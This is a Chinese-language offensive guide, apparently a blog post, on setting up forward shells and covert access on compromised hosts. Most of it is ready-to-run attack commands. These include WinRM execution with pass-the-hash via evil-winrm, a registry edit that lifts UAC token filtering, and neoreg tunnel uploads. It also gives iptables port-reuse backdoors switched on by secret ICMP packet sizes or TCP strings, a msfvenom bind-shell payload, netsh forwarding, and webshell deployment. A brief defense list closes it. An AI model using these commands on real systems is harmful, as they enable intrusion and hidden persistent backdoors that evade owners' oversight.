正向shell相关技术总结
字数 1080 2025-08-25 22:58:20

正向Shell技术全面指南

一、WinRM与HTTP.sys端口复用技术

WinRM基础

  • 定义:Windows Remote Management (WinRM)是微软的服务器硬件管理功能,允许远程管理Windows系统
  • 协议:基于HTTP/HTTPS协议
  • 默认端口
    • HTTP: 5985
    • HTTPS: 5986

利用条件

  1. 目标机器开启WinRM服务
  2. 目标为Windows Server系统(普通Windows主机不支持)
  3. WinRM未设置IP白名单限制
  4. 需要明文密码或Hash(支持Pass-the-Hash攻击)

靶机配置

# 快速配置WinRM服务
winrm quickconfig -q

# 启用HTTP监听器
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}

# 设置监听80端口
winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}

攻击机配置

winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}

命令执行方法

  1. 基本命令执行:
winrs -r:http://目标IP -u:用户名 -p:密码 whoami
  1. 创建进程:
winrm invoke create wmicimv2/win32_process -SkipCAcheck -skipCNcheck @{commandline="calc.exe"} -r:目标IP
  1. 远程命令执行:
Invoke-Command -ComputerName 目标IP -Credential 用户名 -Command {命令}
# 或
Invoke-Command -ComputerName 目标IP -Credential 用户名 -ScriptBlock {命令}

Hash登录工具

使用evil-winrm

ruby evil-winrm.rb -i 目标IP -u 用户名 -p '密码' -s '/ps1脚本路径/' -e '/exe文件路径/'

常见问题解决

  1. UAC限制

    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
    
  2. 编码问题

    chcp 437
    

防御措施

  1. 设置IP白名单限制
  2. 严格限制用户权限(仅允许本地管理组和WinRMRemoteWMIUsers组)
  3. 禁用不必要的WinRM服务

二、HTTP Server API技术

技术原理

利用HTTP.sys驱动的官方接口注册URL前缀,与IIS共享端口实现后门功能

相关资源

三、reGeorg/neoreg隧道技术

使用步骤

  1. 生成加密隧道:
python neoreg.py generate -k 密码
  1. 上传生成的tunnel文件到目标服务器

  2. 本地启动代理:

python neoreg.py -k 密码 -u "http://目标IP/tunnel.php"
  1. 使用本地1080端口作为代理

四、iptables端口复用技术

基础命令

sudo iptables -L -v --line-number  # 查看规则
sudo iptables -D INPUT 1          # 删除规则

1. 基于源IP的端口复用

iptables -t nat -A PREROUTING -p tcp -s 源IP --dport 80 -j REDIRECT --to-port 22

2. 基于源IP和端口的精确控制

iptables -t nat -A PREROUTING -p tcp -s 源IP --sport 源端口 --dport 80 -j REDIRECT --to-port 22

使用socat转发:

nohup socat tcp-listen:本地端口,fork,reuseaddr tcp:目标IP:80,sourceport=源端口,reuseaddr &

3. ICMP触发开关

# 创建规则链
iptables -t nat -N LETMEIN
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22

# 设置ICMP触发
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1139 -m recent --set --name letmein --rsource -j ACCEPT
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1140 -m recent --name letmein --remove -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN

触发命令

# 开启
ping -c 1 -s 1111 目标IP

# 关闭
ping -c 1 -s 1112 目标IP

4. TCP协议触发

# 创建规则链
iptables -t nat -N LETMEIN
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22

# 设置TCP触发
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN

触发命令

# 开启
echo threathuntercoming | socat - tcp:目标IP:80

# 关闭
echo threathunterleaving | socat - tcp:目标IP:80

五、MSF正向Shell

生成Payload

msfvenom -p windows/meterpreter/bind_tcp -f exe LPORT=80 -o shell.exe

监听设置

use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set RHOST 目标IP
run

六、netsh端口转发

设置转发

netsh interface portproxy add v4tov4 listenport=监听端口 listenaddress=监听IP connectport=目标端口 connectaddress=目标IP

查看规则

netsh interface portproxy show all

删除规则

netsh interface portproxy delete v4tov4 listenport=端口 listenaddress=IP

七、冰蝎正向后门

  1. 在冰蝎客户端配置正向连接
  2. 设置监听地址为0.0.0.0
  3. 指定本地代理端口
  4. 上传后门到目标服务器

八、蚁剑反弹Shell配合MSF

使用AS-exploit插件:

  1. 在蚁剑中配置正向连接
  2. 设置监听IP和端口
  3. 生成Payload并执行
  4. 在MSF中设置监听接收会话

防御建议

  1. 网络层防御

    • 严格限制入站规则
    • 监控异常端口使用情况
    • 禁用不必要的端口转发功能
  2. 系统层防御

    • 定期检查系统服务配置
    • 监控iptables/netsh规则变更
    • 限制管理权限
  3. 应用层防御

    • 部署Web应用防火墙(WAF)
    • 监控异常HTTP请求
    • 定期审计Web目录文件
  4. 日志监控

    • 集中收集和分析系统日志
    • 设置异常行为告警
    • 监控特权命令执行
正向Shell技术全面指南 一、WinRM与HTTP.sys端口复用技术 WinRM基础 定义 :Windows Remote Management (WinRM)是微软的服务器硬件管理功能,允许远程管理Windows系统 协议 :基于HTTP/HTTPS协议 默认端口 : HTTP: 5985 HTTPS: 5986 利用条件 目标机器开启WinRM服务 目标为Windows Server系统(普通Windows主机不支持) WinRM未设置IP白名单限制 需要明文密码或Hash(支持Pass-the-Hash攻击) 靶机配置 攻击机配置 命令执行方法 基本命令执行: 创建进程: 远程命令执行: Hash登录工具 使用 evil-winrm : 常见问题解决 UAC限制 : 编码问题 : 防御措施 设置IP白名单限制 严格限制用户权限(仅允许本地管理组和WinRMRemoteWMIUsers组) 禁用不必要的WinRM服务 二、HTTP Server API技术 技术原理 利用HTTP.sys驱动的官方接口注册URL前缀,与IIS共享端口实现后门功能 相关资源 项目地址: Windows-Hack-Code 参考文档: HTTP.sys端口复用 三、reGeorg/neoreg隧道技术 使用步骤 生成加密隧道: 上传生成的tunnel文件到目标服务器 本地启动代理: 使用本地1080端口作为代理 四、iptables端口复用技术 基础命令 1. 基于源IP的端口复用 2. 基于源IP和端口的精确控制 使用socat转发: 3. ICMP触发开关 触发命令 : 4. TCP协议触发 触发命令 : 五、MSF正向Shell 生成Payload 监听设置 六、netsh端口转发 设置转发 查看规则 删除规则 七、冰蝎正向后门 在冰蝎客户端配置正向连接 设置监听地址为0.0.0.0 指定本地代理端口 上传后门到目标服务器 八、蚁剑反弹Shell配合MSF 使用AS-exploit插件: 在蚁剑中配置正向连接 设置监听IP和端口 生成Payload并执行 在MSF中设置监听接收会话 防御建议 网络层防御 : 严格限制入站规则 监控异常端口使用情况 禁用不必要的端口转发功能 系统层防御 : 定期检查系统服务配置 监控iptables/netsh规则变更 限制管理权限 应用层防御 : 部署Web应用防火墙(WAF) 监控异常HTTP请求 定期审计Web目录文件 日志监控 : 集中收集和分析系统日志 设置异常行为告警 监控特权命令执行